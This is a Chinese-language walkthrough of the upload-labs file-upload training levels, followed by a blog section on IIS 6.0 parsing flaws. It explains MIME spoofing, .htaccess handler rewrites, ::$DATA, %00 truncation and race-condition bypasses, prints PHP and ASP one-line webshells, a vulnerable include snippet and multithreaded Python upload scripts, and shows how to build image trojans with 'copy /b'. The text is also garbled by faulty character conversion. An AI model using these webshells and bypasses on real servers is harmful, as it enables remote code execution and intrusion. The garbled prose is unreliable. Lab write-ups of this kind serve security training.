前端验证绕过能够直接用burp万能绕过前端JS脚本php
方法先上传一张jpghtml
Burp改包而后改后缀前端
上传成功python
此绕过方式是将mimi也就是说文件后缀web
咱们此时选择上传图片抓包shell
发现content——tpype为image/jpegwindows
接下来咱们上传1.php将content-type改成和图片同样的上传浏览器
而后发现上传成功服务器
这一关是另类的文件名的绕过,能够尝试phtml,php3,php4, php5, pht后缀名均可以绕过,可是前提是要在配置文件里面有这样的一句话session
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
这是文件源码不能这些是黑名单
构造.htaccess
实现重写文件解析,一样这样的前提也是得在配置文件里面有这样的一句话
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
看一下百度对htaccess的理解
概述来讲,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。经过htaccess文件,能够帮咱们实现:网页301重定向、自定义404错误页面、改变文件扩展名、容许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
我我的理解的意思就是,把SetHandler application/x-httpd-php 这句话写成.htaccess,而后上传个jpg,它就当php解析了
cmd制做文件方式,先把这句话写到1.txt,而后ren 1.txt .htaccess,而后就制做好了,先上传这个,而后把php改为jpg上传
访问页面发现没有回显,说明解析成功
这里咱们须要注意
关键字要和你的图片马同样 好比我hatccess文件里面是tony
我图片马名称就是tony
而后利用hackbar传参来控制,先pwd看一下所在的位置
而后ls到上层寻找
找到文件,cat一下,而后在源代码里面就能看到了
一开始没有回显觉得失败了,结果在源码里
那么问题来了
此时菜刀应该链接tony.php 仍是tony.jpg呐
答案如图
而后成功
能够知道方法三的那些php5 ptml都不行了
只能用.htaccess绕过了
此方法在方法3的第二方案讲了
成功上传
只有用大小写绕过
可是我以为这个应该是状况而定吧 你遇到的不必定就是Php就行的
因此多尝试
各类尝试
访问成功
这里咱们不就不能用大小写后缀绕过
加了所有转换为小写
此时你们别像我同样 在win里面给文件加空格后缀 主要是我以前还加了很久 哈哈
直接上传抓包 而后burp改包一键上传就OK
成功上传
你们仔细观察
能够看见和第六题相比这次少了
这个所以咱们能够BP抓包加·绕过
This is succeeful
查看源码
仍是黑名单,可是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过:
以前代码都有除去字符串
可是这里没有
成功绕过
str_replace
这个函数你们不陌生吧
可想而知
他先删除一个点
再删除一个空格
你们能够发现
成功绕过了
. .(点加空格加点)
查看源码
$file_name = trim($_FILES['upload_file']['name']);//定义name
$file_name = str_ireplace($deny_ext,"", $file_name);//替换上面的php这些为空
找出关键代码
好
这个很熟悉了吧
Sql双写绕过
因为php特殊
因此双写也得讲道理因此构造下面
pphphp
OK I am winner
看源码发现是白名单
可是咱们发现ima-path直接拼接 所以能够%00绕过
这个时候可使用%00截断,但这东西有点过气了,由于须要两个条件
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
若是要完成这一个题目就必需要实现上面的两个条件,可是如今都PHP7了,这东西也就不多见了,知足上面的条件的时候php就是把它当成结束符,后面的数据直接忽略,这也致使了不少的问题,文件包含也能够利用这一点
因此若是要绕过,咱们能够这样去实现,另save_path等于下面的值
可是如今PHP大多数多高于这个版本了
截断时候必定要万分注意%00后面加空格必定要
此次的save_path是经过post传进来的,仍是利用00截断,但此次须要在二进制中进行修改,由于post不会像get对%00进行自动解码。
找到参数后 后面用二进制工具
9.php%00
查看源码
发现对文件头进行了处理
并以此判断文件类型
咱们能够制做图片马进行上传
注意这里的图片必须是真图片copy下来才能绕过验证
这是咱们简单写的一个文件包含
<?php
$file = $_GET[ 'page' ];
include($file);
?>
这样采访才能成功
因此图片木马必须配合文件包含漏洞才能使用
查看源码
这里利用了getimagesize
rray getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个能够用于普通 HTML 文件中 IMG 标记中的 height/width 文本字
和13同样构造图片立刻传 同时须要文件包含漏洞
查看源码
$image_type = exif_imagetype($filename);
这是新加的函数
和13关同样的绕过方法
查看源码
抓包看上传后图片的那些部分被截取那些没有被截取 而后在讲代码插入未被截取的部分
而后也是文件包含漏洞
一样须要
查看源码
$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称
当咱们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。而后执行if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹
绕过思路是利用代码执行过程有耗费时间的过程。临时webshell文件保存的极短期,去访问webshell。获取一些信息
咱们能够利用burp多线程发包,而后不断在浏览器访问咱们的webshell。会有一瞬间的访问成功
python脚本:
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST / HTTP/1.1
Host: http://localhost:8088/upload-labs-master/Pass-17/index.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://108.160.142.252:9001/
Content-Type: multipart/form-data; boundary=---------------------------19988116922523
Content-Length: 2196
Cookie: csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------19988116922523
Content-Disposition: form-data; name="upload_file"; filename="damaxiao.php"
Content-Type: application/octet-stream
<?php assert($_POST["a"])?>
-----------------------------19988116922523
Content-Disposition: form-data; name="submit"
ä¸ä¼
-----------------------------19988116922523--
"""
code, head, html, redirect, log = hh.http('http://108.160.142.252:9001/', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(20)
pool.map(upload, range(10000))
pool.close()
pool.join()
request模块
import requests
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
import sys
reload(sys)
sys.setdefaultencoding('utf8')
url = 'http://localhost:8088/upload-labs-master/Pass-17/index.php'
def upload():
file = {
'file': open('damaxiao.php','rb')
}
header = {
'Host': '108.160.142.252:9001',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg; aM3_sid=s98M8S',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
# def keepreq():
r = requests.post(url,files=file)
print(str(r.status_code) + "\r")
pool = ThreadPool(20)
pool.map(upload(), range(10000))
pool.close()
pool.join()
http://www.javashuo.com/article/p-hthpnbaz-nd.html
我也不是很懂嘛
同17
后面加一个空格即是绕过了不知道为何这么神奇
咱们先查看源码
http://www.php.cn/php-weizijiaocheng-402602.html
这个函数是按
http://www.javashuo.com/article/p-wwtnenju-d.html
http://www.w3school.com.cn/php/func_array_in_array.asp
先按.将文件名称分割
在
大概意思就是解析漏洞
成功上传
学渗透必定要动手操做,一个简单的动做重复N遍以上就能学会了。
最近在学习一句话木马的使用,加上中国菜刀,真是个居家旅行的必备技能。举例说asp的一句话:
<%execute request(chr(97))%>
a就是链接密码了。(必定要写对chr(97),我看着书写char(97)被坑了一下午...还觉得是服务器设置问题)。可是今天我练习的时候遇到了只能上传图片的漏洞,而后就去网上找姿式,就学习了IIS6.0的解析漏洞了。
个人练习环境是windows 2003的IIS6.0,这个版本有两个解析漏洞:
一、在网站目录中若是存在名为*.asp、*.asa的目录,那该目录内的任何文件都会被IIS解析为asp文件并执行。
二、在上传图片木马的时候,将文件名改成*.asp;.jpg,该文件文件都会被IIS解析为asp文件并执行。
第一个漏洞测试成功了,在网站目录下建立了一个1.asp目录,在目录下上传了内容为<%execute request(chr(97))%>但文件名为cmd.jpg的”图像“文件,用菜刀成功链接。
第二个漏洞同理,不一样的只是之间创建一个一样内容的cmd.asp;.jpg文件。
至于制做asp图片木马,今天学到了一个copy拼接的方法:
准备一张图片(尽量小点吧,10k左右?对加载应该有影响),命名为1.jpg
写asp一句话木马,命名为1.asp
打开cmd,执行COPY 1.jpg /b + 1.asp /a asp.jpg拼接获得asp.jpg即时asp图片木马了。【/b表示指定一个二进制文件,/a表示指定一个ASCII文件】
切记 学习之路 少就是多 慢就是快